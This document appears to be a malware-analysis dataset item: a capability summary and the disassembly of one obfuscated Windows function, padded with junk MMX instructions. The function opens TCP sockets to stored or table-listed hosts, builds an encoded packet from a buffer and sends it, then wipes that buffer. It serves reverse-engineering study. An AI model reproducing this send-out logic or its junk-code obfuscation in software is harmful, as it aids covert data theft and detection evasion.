Function at 0x40954d
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
pushal
punpckhwd mm6, mm0
movd mm0, dword [ebp + 8]
movd esi, mm0
lodsd eax, dword [esi]
psubsw mm5, mm3
movd mm1, esi
movd edi, mm1
movd mm2, eax
movd ecx, mm2
psraw mm6, mm5
lodsb al, byte [esi]
cmp al, 0
jne 0x409578
mov al, 0xa
stosb byte es:[edi], al
dec ecx
paddsw mm6, mm2
jne 0x409571
paddsw mm3, mm1
movd mm4, dword [ebp + 8]
movd esi, mm4
lodsd eax, dword [esi]
movd mm5, eax
movd dword [ebp - 8], mm5
psrad mm4, mm2
movd mm6, eax
movd ebx, mm6
add eax, 0x100
movd mm7, eax
movd dword [0x417bb3], mm7
push 4
push 0x1000
push eax
push 0
call sub.KERNEL32.DLL_VirtualAlloc
pmaxub mm2, mm4
movd mm0, eax
movd edi, mm0
psrld mm1, mm3
movd mm1, ebx
movd eax, mm1
pcmpeqb mm6, mm4
add eax, 0x100
pmaxub mm6, mm4
push 4
push 0x1000
push eax
push 0
call sub.KERNEL32.DLL_VirtualAlloc
psubd mm3, mm1
movd mm2, eax
movd dword [ebp - 0x20], mm2
pminsw mm2, mm3
movd mm3, edi
movd dword [0x417bb7], mm3
push 9
push ebx
push esi
push 0x417bb3
push edi
call fcn.0040c0af
push 6
push 1
push 2
call sub.ws2_32.dll_socket
paddb mm1, mm3
movd mm4, eax
movd dword [ebp - 0xc], mm4
lea edi, [ebp - 0x1c]
pushal
paddusb mm4, mm3
mov ecx, 0x10
psubb mm5, mm4
movd mm3, eax
movd mm2, eax
pxor mm3, mm2
movd eax, mm3
rep stosb byte es:[edi], al
pmaxsw mm4, mm0
popal
pcmpeqd mm0, mm2
lea edi, [ebp - 0x1c]
paddb mm6, mm2
cmp dword [0x4177f3], 0
jne 0x40967f
packsswb mm4, mm3
push dword [0x417459]
pop eax
psrad mm2, mm0
push 0x50
pop ecx
psadbw mm5, mm6
xchg ch, cl
mov word [edi], 2
mov word [edi + 2], cx
pavgw mm4, mm5
movd mm0, eax
movd dword [edi + 4], mm0
paddusw mm4, mm3
jmp 0x4096c9
movd mm1, dword [0x4177f7]
movd eax, mm1
pcmpeqw mm2, mm1
imul eax, eax, 6
movd mm2, dword [section..data]
movd esi, mm2
lea esi, [eax + esi]
movd mm3, dword [esi]
movd eax, mm3
movzx ecx, word [esi + 4]
pminsw mm0, mm3
bswap eax
paddusb mm6, mm1
xchg ch, cl
mov word [edi], 2
mov word [edi + 2], cx
punpckhbw mm2, mm3
movd mm6, eax
movd dword [edi + 4], mm6
inc dword [0x4177f7]
por mm3, mm2
pand mm2, mm5
push 0x10
push edi
push dword [ebp - 0xc]
call sub.ws2_32.dll_connect
movd mm3, eax
movd mm4, eax
pxor mm3, mm4
movd eax, mm3
movd mm7, dword [ebp - 0x20]
movd edi, mm7
stosd dword es:[edi], eax
packssdw mm2, mm4
mov ax, 0x100
psubb mm6, mm1
xchg ah, al
psubsw mm4, mm6
stosw word es:[edi], ax
mov ax, 0x17
punpckhbw mm2, mm3
xchg ah, al
stosw word es:[edi], ax
movd mm2, dword [0x41745d]
movd eax, mm2
psadbw mm6, mm1
bswap eax
stosd dword es:[edi], eax
packsswb mm6, mm4
movd mm3, dword [0x417461]
movd eax, mm3
psubd mm0, mm4
bswap eax
paddusb mm4, mm2
stosd dword es:[edi], eax
movd mm4, dword [ebp - 8]
movd eax, mm4
bswap eax
psubsw mm0, mm6
stosd dword es:[edi], eax
movd mm5, dword [0x417bb3]
movd eax, mm5
psubsb mm6, mm0
bswap eax
stosd dword es:[edi], eax
movd mm6, dword [0x417bb7]
movd esi, mm6
packsswb mm2, mm0
movd mm7, dword [0x417bb3]
movd ecx, mm7
pmulhw mm6, mm4
rep movsb byte es:[edi], byte [esi]
movd mm4, edi
movd mm0, dword [ebp - 0x20]
psubd mm4, mm0
movd edi, mm4
psubb mm0, mm2
movd mm0, edi
movd ebx, mm0
movd mm4, edi
movd mm6, dword [ebp - 0x20]
paddd mm4, mm6
movd edi, mm4
psrld mm3, mm6
movd mm4, edi
movd mm1, ebx
psubd mm4, mm1
movd edi, mm4
pandn mm3, mm4
sub ebx, 4
paddsw mm0, mm4
add ebx, 7
and ebx, 0xfffffff8
add edi, 4
movd mm1, ebx
movd eax, mm1
pminsw mm4, mm3
shr eax, 3
psubd mm3, mm6
push eax
push edi
push edi
call fcn.0040bf21
sub edi, 4
paddsw mm2, mm1
movd mm2, ebx
movd eax, mm2
punpckhwd mm1, mm5
shr eax, 3
cmp eax, 0x7fff
ja 0x4097ed
bswap eax
shr eax, 0x10
add edi, 2
mov word [edi], ax
add ebx, 2
jmp 0x409809
or eax, 0x80000000
paddusw mm5, mm6
bswap eax
pcmpeqb mm0, mm4
movd mm4, eax
movd dword [edi], mm4
packsswb mm3, mm2
add ebx, 4
paddb mm4, mm0
pavgb mm5, mm0
push 0
push ebx
push edi
push dword [ebp - 0xc]
call sub.ws2_32.dll_send
push dword [ebp - 0xc]
call sub.ws2_32.dll_closesocket
cmp dword [ebp + 0xc], 0
je 0x409a20
pcmpgtw mm1, mm3
push 6
push 1
push 2
call sub.ws2_32.dll_socket
pcmpgtw mm1, mm4
movd mm5, eax
movd dword [ebp - 0xc], mm5
lea edi, [ebp - 0x1c]
pcmpgtb mm3, mm0
pushal
pcmpeqd mm1, mm0
mov ecx, 0x10
paddsb mm0, mm5
movd mm3, eax
movd mm5, eax
pxor mm3, mm5
movd eax, mm3
rep stosb byte es:[edi], al
paddusw mm4, mm6
popal
punpckhwd mm4, mm0
lea edi, [ebp - 0x1c]
cmp dword [0x4177f3], 0
jne 0x4098a5
push dword [0x417459]
packssdw mm0, mm2
pop eax
push 0x50
psubusw mm4, mm2
pop ecx
packsswb mm6, mm2
xchg ch, cl
paddb mm3, mm2
mov word [edi], 2
pmulhw mm0, mm5
mov word [edi + 2], cx
punpckhdq mm6, mm1
movd mm1, eax
movd dword [edi + 4], mm1
jmp 0x409901
pcmpeqw mm1, mm0
movd mm2, dword [0x4177f7]
movd eax, mm2
paddb mm5, mm1
imul eax, eax, 6
punpckhbw mm4, mm0
movd mm3, dword [section..data]
movd esi, mm3
psubd mm6, mm2
lea esi, [eax + esi]
paddd mm4, mm0
movd mm4, dword [esi]
movd eax, mm4
movzx ecx, word [esi + 4]
pcmpgtb mm6, mm3
bswap eax
xchg ch, cl
movq mm2, mm1
mov word [edi], 2
psrlq mm2, mm5
mov word [edi + 2], cx
pmaddwd mm6, mm3
movd mm7, eax
movd dword [edi + 4], mm7
psrlq mm2, mm1
inc dword [0x4177f7]
paddw mm3, mm1
paddsb mm3, mm0
push 0x10
push edi
push dword [ebp - 0xc]
call sub.ws2_32.dll_connect
movd mm3, eax
movd mm6, eax
pxor mm3, mm6
movd eax, mm3
punpckhwd mm6, mm0
movd mm0, dword [ebp - 0x20]
movd edi, mm0
pcmpeqd mm3, mm4
stosd dword es:[edi], eax
pcmpeqd mm1, mm6
mov ax, 0x100
xchg ah, al
stosw word es:[edi], ax
mov eax, 0x1a
pcmpgtb mm4, mm6
xchg ah, al
stosw word es:[edi], ax
movd mm3, dword [0x41745d]
movd eax, mm3
pcmpgtw mm6, mm3
bswap eax
psadbw mm5, mm6
stosd dword es:[edi], eax
psrld mm4, mm0
movd mm4, dword [0x417461]
movd eax, mm4
paddsb mm3, mm1
bswap eax
stosd dword es:[edi], eax
movd mm4, edi
movd mm2, dword [ebp - 0x20]
psubd mm4, mm2
movd edi, mm4
movd mm5, edi
movd ebx, mm5
movd mm4, edi
movd mm7, dword [ebp - 0x20]
paddd mm4, mm7
movd edi, mm4
movd mm4, edi
movd mm3, ebx
psubd mm4, mm3
movd edi, mm4
sub ebx, 4
psrld mm6, mm0
add ebx, 7
and ebx, 0xfffffff8
pcmpgtd mm4, mm0
add edi, 4
movd mm6, ebx
movd eax, mm6
shr eax, 3
push eax
push edi
push edi
call fcn.0040bf21
punpckhbw mm3, mm5
sub edi, 4
movd mm7, ebx
movd eax, mm7
psubusw mm3, mm2
shr eax, 3
pminsw mm4, mm2
cmp eax, 0x7fff
ja 0x4099ed
psubb mm2, mm6
bswap eax
pmulhuw mm3, mm6
shr eax, 0x10
psubd mm0, mm4
add edi, 2
mov word [edi], ax
add ebx, 2
jmp 0x409a09
or eax, 0x80000000
pandn mm0, mm1
bswap eax
punpckhdq mm2, mm3
movd mm1, eax
movd dword [edi], mm1
punpckhbw mm6, mm5
add ebx, 4
por mm1, mm4
pcmpgtw mm0, mm2
push 0
push ebx
push edi
push dword [ebp - 0xc]
call sub.ws2_32.dll_send
push dword [ebp - 0xc]
call sub.ws2_32.dll_closesocket
push 0x8000
push 0
push dword [ebp - 0x20]
call sub.KERNEL32.DLL_VirtualFree
punpckhdq mm0, mm6
push 0x8000
push 0
push dword [ebp - 4]
call sub.KERNEL32.DLL_VirtualFree
push 0x8000
push 0
push dword [0x417bb7]
call sub.KERNEL32.DLL_VirtualFree
pcmpgtb mm3, mm5
movd mm2, dword [ebp + 8]
movd edi, mm2
pmaxub mm3, mm5
mov edx, 0xfa000
movd mm3, eax
movd mm7, eax
pxor mm3, mm7
movd eax, mm3
psubw mm4, mm0
movd mm4, edx
movd ecx, mm4
shr ecx, 2
paddusb mm4, mm1
rep stosd dword es:[edi], eax
pmaxsw mm5, mm1
popal
leave
ret 8